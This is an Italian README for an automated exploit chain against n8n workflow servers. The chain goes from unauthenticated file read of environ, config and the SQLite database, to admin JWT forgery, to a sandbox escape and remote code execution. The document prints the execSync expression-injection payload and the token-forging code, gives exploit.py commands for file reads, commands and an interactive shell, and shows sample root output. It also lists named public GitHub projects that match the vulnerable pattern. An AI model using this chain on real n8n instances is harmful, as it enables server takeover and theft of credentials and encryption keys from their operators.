
Automated exploit chain per n8n che consente lettura arbitraria di file non autenticata, falsificazione del token admin e bypass della sandbox fino all'esecuzione remota di codice tramite injection di espressioni.
Lettura arbitraria di file non autenticata → Forgiatura token admin → Bypass sandbox → RCE
Catena RCE completa non autenticata su n8n:
L'esposizione è basata sulla versione. In termini di esposizione, esistono istanze n8n vulnerabili accessibili pubblicamente.
Risultati LeakIX: Visualizza istanze esposte
Questo exploit è stato sviluppato in modo indipendente dal write-up di Cyera (scoperto dopo il completamento). Differenze chiave:
| Cyera (Ricerca Originale) | Questo Exploit |
|---|
| Lettura File | Caricamento nella knowledge base AI → query tramite chat | Risposta HTTP diretta |
| Prerequisiti | Workflow chat + integrazione AI | Qualsiasi modulo con upload file |
| Metodo RCE | Nodo "Execute Command" (disabilitato di default) | Iniezione di Espressioni (funziona su installazioni predefinite) |
| Automazione | Demo manuale/concettuale | Script Python completamente automatizzato |
Entrambi gli approcci richiedono configurazioni specifiche del workflow. Cyera necessita di chat + integrazione AI, questo exploit necessita di un modulo con nodo Respond. Vedi Limitazioni per i dettagli.
┌───────────────────────────────────────────────────────────┐
│ NON AUTENTICATO │
├───────────────────────────────────────────────────────────┤
│ 1. Lettura /proc/self/environ → Trova directory HOME │
│ 2. Lettura $HOME/.n8n/config → Ottieni encryptionKey │
│ 3. Lettura $HOME/.n8n/database.sqlite → Ottieni credenziali admin │
├───────────────────────────────────────────────────────────┤
│ FORGIATURA TOKEN │
├───────────────────────────────────────────────────────────┤
│ 4. Derivazione segreto JWT da encryptionKey │
│ 5. Forgiatura cookie sessione admin │
├───────────────────────────────────────────────────────────┤
│ RCE AUTENTICATO │
├───────────────────────────────────────────────────────────┤
│ 6. Creazione workflow con iniezione di espressioni │
│ 7. Bypass sandbox tramite this.process.mainModule.require│
│ 8. Esecuzione comandi arbitrari │
└───────────────────────────────────────────────────────────┘
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
Il leggendario "Merge commit from fork" - quando vedi questo, qualcuno ha trovato qualcosa di piccante. 🌶️
// PRIMA (vulnerabile)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// DOPO (corretto)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
Invia Content-Type: application/json → controlla filepath → leggi qualsiasi file.
n8n isola il codice utente (Code Node, espressioni) usando vm2/isolated-vm. Altri vettori RCE:
| Tecnica | Stato |
|---|---|
| Nodo Execute Command | Disabilitato di default (N8N_ALLOW_EXEC_COMMAND=false) |
| Nodi SSH/HTTP | Esecuzione su server remoti, non sull'host n8n |
| Fuga Sandbox Pyodide | CVE-2025-68668 - richiede Python Code Node |
| Iniezione di Espressioni | CVE-2025-68613 - funziona su installazioni predefinite |
Ho usato l'Iniezione di Espressioni perché funziona su qualsiasi n8n con impostazioni predefinite - nessun nodo o configurazione speciale richiesta. Il bypass Pyodide (CVE-2025-68668) richiede il Python Code Node che potrebbe non essere disponibile su tutte le istanze.
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
Le espressioni n8n hanno accesso a this.process.mainModule.require → fuga completa dalla sandbox.
# Derivazione segreto JWT
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# Hash JWT
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# Forgiatura token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
docker compose up -d
# Attendere ~60 secondi per la configurazione
# Modulo: http://localhost:32790/form/vulnerable-form
# Credenziali: [email protected] / ExploitLab123!
# Lettura file arbitrario
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# Catena completa con comando
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# Shell interattiva
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - Catena completa n8n ║
║ Lettura File Arbitraria → Forgiatura Token → Bypass Sandbox → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://localhost:5678/form/vulnerable-form
[*] Versione: 1.65.0 (VULN)
[x] Directory HOME
[+] Directory HOME: /root
[x] Chiave di crittografia
[+] Chiave di crittografia: yusrXZV1...
[x] Database
[+] Database: 1327104 byte
[x] Utente admin
[+] Utente admin: [email protected]
[x] Forgiatura token
[+] Forgiatura token: OK
[x] Accesso admin
[+] Accesso admin: CONCESSO!
[+] Cookie: n8n-auth=eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK
uid=0(root) gid=0(root) groups=0(root)
Questo NON è un exploit "pwn qualsiasi n8n". Richiede condizioni specifiche per funzionare:
| Requisito | Descrizione |
|---|---|
| Modulo con upload file | Il target deve avere un workflow modulo con campo upload file |
| Nodo Respond to Webhook | Il workflow deve restituire il contenuto del file nella risposta HTTP |
| Workflow attivo | Il workflow modulo deve essere attivato |
| Accesso non autenticato | Il modulo deve essere accessibile pubblicamente (senza autenticazione) |
Esempio di configurazione workflow vulnerabile:
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
Gli elementi chiave sono: fieldType: "file" + respondWith: "binary". Questo pattern è comune nei workflow di elaborazione file (convertitori, ridimensionatori di immagini, processori di documenti).
Funziona:
Non funziona:
Nota: La vulnerabilità (lettura arbitraria di file) viene attivata indipendentemente dal metodo di esfiltrazione. Il nodo Respond è solo un modo per recuperare il contenuto. Metodi alternativi (OOB, altri nodi di output) potrebbero funzionare a seconda della configurazione del workflow.
Sfruttamento cieco: Se non esiste un nodo respond, il file viene comunque letto da n8n ma non può essere esfiltrato tramite risposta HTTP. Sarebbero necessarie tecniche alternative (OOB, timing).
Il pattern vulnerabile (Form Trigger + upload file + Respond to Webhook) esiste in repository GitHub pubblici.
Nota: I repository di workflow n8n popolari (>100⭐) non usano questo pattern. Questi sono progetti community/personali:
| File Workflow | Campi File | respondWith |
|---|---|---|
| ifcpipeline/.../ifcpipeline.json | IDS, IFC (x2) | binary ⚠️ |
| nano-banana-studio/.../03_multi_asset_processor.json | Immagini, Audio, Markdown | json |
| ticket-omnichannel-chat/.../Knowledge_base.json | Documento(PDF) | text |
| ai_resume_project/resume_rag.json | Upload File | allIncomingItems |
| fkgpt-portfolio/.../audio-transcription-analysis.json | File Audio | text |
| n8n-backup/.../K3DwHQs0fnnm5UK0.json | file | text |
| voltixLandingPage/.../chatbotvoltix.json | Upload File | default |
| n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json | file | default |
| 8n8Workflows/.../3WoSqiBnZ56RtWMb.json | Carica il tuo documento | default |
| learn_earn_ai_insta/.../My workflow.json | carica il tuo file | default |
| finintworkshop/.../API using n8n (ToT).json |
Questi sono workflow contribuiti dalla community. Nessun template ufficiale n8n.io usa questo pattern vulnerabile.
| file |
json |